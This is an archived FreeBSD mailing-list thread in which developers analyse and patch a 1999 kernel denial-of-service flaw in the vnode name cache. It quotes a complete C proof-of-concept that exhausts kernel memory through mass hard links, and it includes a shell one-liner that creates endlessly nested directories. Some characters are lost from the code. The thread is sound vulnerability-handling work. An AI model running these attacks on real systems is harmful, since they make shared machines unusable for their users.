Re: just found this
It wasn't a problem in -current due to a different way that things were done there. What things, exactly? I haven't noticed any differences in vfs_cache.c or vfs_subr.c that should affect the caching behavior, so it must just be that the system survives a large amount of wired down memory better. : Really large numbers of hardlinks are probably rare enough, but the : default limit of 4 seems a bit low, it should probably be at least as : high as the maximum link count encountered on a normal installation. : There are other ways to hold down at least as much memory per file you : can keep open as with the limit of 4. I think phk's idea in this area are likely the best way to deal. BTW: None of the solutions address this slower, but simpler attack, easily described using a Bourne Shell command line: $ while mkdir t; do cd t; done The shell version seems to waste lots of memory so it may die before it has wired down a significant amount of vnodes (I've also managed to create an unkillable process this way in 3.2, but I think this is something that was recently fixed), but the equivalent C program runs until the filesystem fills up, the user's quota is exeeded or, most commonly, until too many vnodes have been allocated and the machine locks up. It can take quite a while, though. Creating lots of directories seems slow, even with softupdates. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
Warner Losh [EMAIL PROTECTED] writes: In message [EMAIL PROTECTED] Kenneth Culver writes: : Check this out, if anyone is intrested. : : I found this on packetstorm.securify.com tonight. Any ideas?? Mycroft sent this out after we had fixed this before the 3.3R release. At least it appeared in bugtraq after it had been fixed in FreeBSD, as far as I can tell. It isn't in -current, does this mean that it wasn't considered an acceptable long-term solution? Really large numbers of hardlinks are probably rare enough, but the default limit of 4 seems a bit low, it should probably be at least as high as the maximum link count encountered on a normal installation. There are other ways to hold down at least as much memory per file you can keep open as with the limit of 4. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
In message [EMAIL PROTECTED] Ville-Pertti Keinonen writes: : It isn't in -current, does this mean that it wasn't considered an : acceptable long-term solution? It wasn't a problem in -current due to a different way that things were done there. : Really large numbers of hardlinks are probably rare enough, but the : default limit of 4 seems a bit low, it should probably be at least as : high as the maximum link count encountered on a normal installation. : There are other ways to hold down at least as much memory per file you : can keep open as with the limit of 4. I think phk's idea in this area are likely the best way to deal. Warner To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
Kenneth Culver [EMAIL PROTECTED] writes: I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM, and it chugged along to about `02/03000' (meaning it created 3 files and about 63000 or so links), consuming a whopping 34MB of wired kernel memory (according to `top'), before all file system activity came to a screeching halt and the machine was unusable. Looking at the code, it would seem that the number of directories is what's causing problems (one is created for each link). The directory vnodes can't be thrown out because a name cache entry exists in each one. All of the name cache entries point to the same vnode, which can't be thrown out because it is open. So the main problem here is that one open vnode can be used to lock in an arbitrary number of vnodes. This should actually be fixed by something I did as part of some patches I played with earlier this year, avoiding the need to force parent directories of vnodes to be kept in memory. I'll try to come up with a version that works against -current and doesn't contain of the other (experimental) features of the earlier patches. IIRC the part required to allow parent vnodes to be reused is quite simple. To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
Replying to myself...
Looking at the code, it would seem that the number of directories is
what's causing problems (one is created for each link). The directory
vnodes can't be thrown out because a name cache entry exists in each
one. All of the name cache entries point to the same vnode, which
can't be thrown out because it is open.
My initial guess wasn't correct (I mis-read the program due to the
lack of indentation) - huge amounts of memory actually are consumed by
name cache entries, not just vnodes...
Setting a limit for the number of entries in the name cache should be
more acceptable if actual directory data blocks were cached more
efficiently, which I believe has been implemented in -current by Matt
Dillon, but it isn't enabled by default because of the wasteful use of
entire memory pages. Even if making it the default were acceptable
(IMHO it isn't) it still doesn't make fixing things easy because there
is no longer a LRU policy for name cache entries, they are merely
associated with vnodes.
Balancing the sizes of multiple caches can get quite interesting.
This should actually be fixed by something I did as part of some
patches I played with earlier this year, avoiding the need to force
parent directories of vnodes to be kept in memory. I'll try to come
up with a version that works against -current and doesn't contain of
the other (experimental) features of the earlier patches. IIRC the
part required to allow parent vnodes to be reused is quite simple.
This was trivial, and it did sort of help, but only to the extent that
it made the DoS harder, requiring other programs to be run to increase
the vnode allocation count first.
It fixes another potential DoS attack (create a file, keep it open,
create a huge number of directories, each with a link to the file,
none of the directory vnodes can be deallocated), so I'll include it
anyhow. It does have some negative impact on caching behavior so it
probably isn't desirable until an improved vnode caching policy can be
introduced. The changes (against -current, but should be trivially
modifiable for 3.x) are:
Index: vfs_cache.c
===
RCS file: /m/cvs/freebsd/src/sys/kern/vfs_cache.c,v
retrieving revision 1.40
diff -u -r1.40 vfs_cache.c
--- vfs_cache.c 1999/08/28 00:46:23 1.40
+++ vfs_cache.c 1999/09/28 11:04:22
@@ -122,8 +122,6 @@
{
LIST_REMOVE(ncp, nc_hash);
LIST_REMOVE(ncp, nc_src);
- if (LIST_EMPTY(ncp-nc_dvp-v_cache_src))
- vdrop(ncp-nc_dvp);
if (ncp-nc_vp) {
TAILQ_REMOVE(ncp-nc_vp-v_cache_dst, ncp, nc_dst);
} else {
@@ -292,8 +290,6 @@
bcopy(cnp-cn_nameptr, ncp-nc_name, ncp-nc_nlen);
ncpp = NCHHASH(dvp, cnp);
LIST_INSERT_HEAD(ncpp, ncp, nc_hash);
- if (LIST_EMPTY(dvp-v_cache_src))
- vhold(dvp);
LIST_INSERT_HEAD(dvp-v_cache_src, ncp, nc_src);
if (vp) {
TAILQ_INSERT_HEAD(vp-v_cache_dst, ncp, nc_dst);
Index: vfs_subr.c
===
RCS file: /m/cvs/freebsd/src/sys/kern/vfs_subr.c,v
retrieving revision 1.228
diff -u -r1.228 vfs_subr.c
--- vfs_subr.c 1999/09/21 00:36:15 1.228
+++ vfs_subr.c 1999/09/28 11:04:33
@@ -523,10 +523,6 @@
TAILQ_REMOVE(vnode_free_list, vp, v_freelist);
TAILQ_INSERT_TAIL(vnode_tmp_list, vp, v_freelist);
continue;
- } else if (LIST_FIRST(vp-v_cache_src)) {
- /* Don't recycle if active in the namecache */
- simple_unlock(vp-v_interlock);
- continue;
} else {
break;
}
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: just found this
In message [EMAIL PROTECTED], Ville-Pertti Keinonen writes: Replying to myself... Looking at the code, it would seem that the number of directories is what's causing problems (one is created for each link). The directory vnodes can't be thrown out because a name cache entry exists in each one. All of the name cache entries point to the same vnode, which can't be thrown out because it is open. My initial guess wasn't correct (I mis-read the program due to the lack of indentation) - huge amounts of memory actually are consumed by name cache entries, not just vnodes... Balancing the sizes of multiple caches can get quite interesting. I have been mulling over this issue for some time. My current thinking is that pending some more well thought out mechanism, the right thing to do here is to detect the DOS and react to that, not to handicap the caching in general. The easiest way to detect this DOS is probably to keep track of the namecache entries - live vnodes ratio, and enforce an upper limit on it. -- Poul-Henning Kamp FreeBSD coreteam member [EMAIL PROTECTED] "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
I have been mulling over this issue for some time. My current thinking is that pending some more well thought out mechanism, the right thing to do here is to detect the DOS and react to that, not to handicap the caching in general. The easiest way to detect this DOS is probably to keep track of the namecache entries - live vnodes ratio, and enforce an upper limit on it. That seems like a reasonable approach. If you want to include the other attack I mentioned (I just tried it, got up to 16 vnodes), then you have to exclude vnodes that are only live because of v_cache_src entries from the count. BTW: You still haven't committed the v_id patch I sent you in May. Is there any specific reason for this? To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
In message [EMAIL PROTECTED], Ville-Pertti Keinonen writ es: The easiest way to detect this DOS is probably to keep track of the namecache entries - live vnodes ratio, and enforce an upper limit on it. That seems like a reasonable approach. If you want to include the other attack I mentioned (I just tried it, got up to 16 vnodes), then you have to exclude vnodes that are only live because of v_cache_src entries from the count. It should probably only count vnodes in "actual" use. BTW: You still haven't committed the v_id patch I sent you in May. Is there any specific reason for this? I seem to remember we stalled on some detail which wouldn't or couldn't work was it NFS ? -- Poul-Henning Kamp FreeBSD coreteam member [EMAIL PROTECTED] "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
In message [EMAIL PROTECTED] Kenneth Culver writes: : Check this out, if anyone is intrested. : : I found this on packetstorm.securify.com tonight. Any ideas?? Mycroft sent this out after we had fixed this before the 3.3R release. At least it appeared in bugtraq after it had been fixed in FreeBSD, as far as I can tell. Warner To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: just found this
this was fixed in the final hours before 3.3-release.
http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c
1.38.2.3 Thu Sep 16 2:02:15 1999 UTC by alfred
CVS Tags: RELENG_3_3_0_RELEASE; Branch: RELENG_3
Diffs to 1.38.2.2
Limit aliases to a vnode in the namecache to a sysctl tunable
'vfs.cache.maxaliases' This protects against a DoS via thousands
of hardlinks to a file wiring down all kernel memory.
Approved by:jkh
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
- http://www.wintelcom.net/ [[EMAIL PROTECTED]]
On Mon, 27 Sep 1999, Kenneth Culver wrote:
Check this out, if anyone is intrested.
I found this on packetstorm.securify.com tonight. Any ideas??
[Resending once, since it's been 10.5 days...]
Here's an interesting denial-of-service attack against FreeBSD =3.0
systems. It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
way to purge entries unless the `vnode' (e.g. the file) they point to
is removed from memory -- which generally doesn't happen unless a
certain magic number of `vnodes' is in use, and never happens when the
`vnode' (i.e. file) is open. Thus it's possible to chew up an
arbitrary amount of wired kernel memory relatively simply.
What strikes me as funny about this is that the relevant code in
4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
susceptible to such an attack, and all of the code to prevent it was
intentionally removed.
I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
and it chugged along to about `02/03000' (meaning it created 3 files
and about 63000 or so links), consuming a whopping 34MB of wired
kernel memory (according to `top'), before all file system activity
came to a screeching halt and the machine was unusable.
This exploit does not affect Linux 2.0.36, or any version of NetBSD.
I have not tested Linux versions =2.1 (which have a different
implementation of the equivalent code from 2.0.36), but based on code
inspection, I do not believe it to be vulnerable to this particular
attack.
Note that, although it may seem like setting quotas is a good solution
to this problem, if the FreeBSD system is acting as a NFS client, it's
possible to use a variant of the attack that only creates one file and
keeps at most one link to it at any given time.
Also note that it may be possible to exercise this against a FTP
server with a writable directory if the server has a way of creating
hard links. (I'm not aware of any that do, but I point this out for
completeness.)
-8-snip-8-snip-8-snip-8-snip-8-
#include stdio.h
#include unistd.h
#include sys/stat.h
#define NFILE 64
#define NLINK 3
#define NCHAR 245
int
main()
{
char junk[NCHAR+1],
dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
int i, j;
struct stat sb;
memset(junk, 'x', NCHAR);
junk[NCHAR] = '\0';
for (i = 0; i NFILE; i++) {
printf("\r%02d/%05d...", i, 0),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, 0);
if (mkdir(dir, 0755) 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
sprintf(file1, "%s/%s%03d", dir, junk, 0);
if (creat(file1, 0644) 0)
fprintf(stderr, "creat(%s) failed\n", file1),
exit(1);
if (stat(file1, sb) 0)
fprintf(stderr, "stat(%s) failed\n", file1),
exit(1);
for (j = 1; j NLINK; j++) {
if ((j % 1000) == 0) {
printf("\r%02d/%05d...", i, j),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, j/1000);
if (mkdir(dir, 0755) 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
}
sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
if (link(file1, file2) 0)
fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
exit(1);
if (stat(file2, sb) 0)
fprintf(stderr, "stat(%s) failed\n", file2),
exit(1);
}
}
printf("\rfinished successfully\n");
}
-8-snip-8-snip-8-snip-8-snip-8-
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
